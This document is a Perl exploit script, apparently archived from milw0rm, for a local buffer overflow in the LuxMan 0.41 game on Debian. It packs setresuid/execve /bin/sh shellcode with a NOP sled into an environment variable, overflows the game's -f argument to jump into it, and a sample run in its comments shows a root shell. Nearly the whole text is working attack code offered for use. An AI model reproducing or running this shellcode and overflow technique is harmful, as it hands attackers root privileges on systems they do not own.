Frank McIngvale LuxMan 0.41 - Local Buffer Overflow

#!/usr/bin/perl -w
#
# luxman exploit
#
# ii  luxman         0.41-19.1      Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
# 
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
# 
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
# 
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);

#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");

# milw0rm.com [2005-03-14]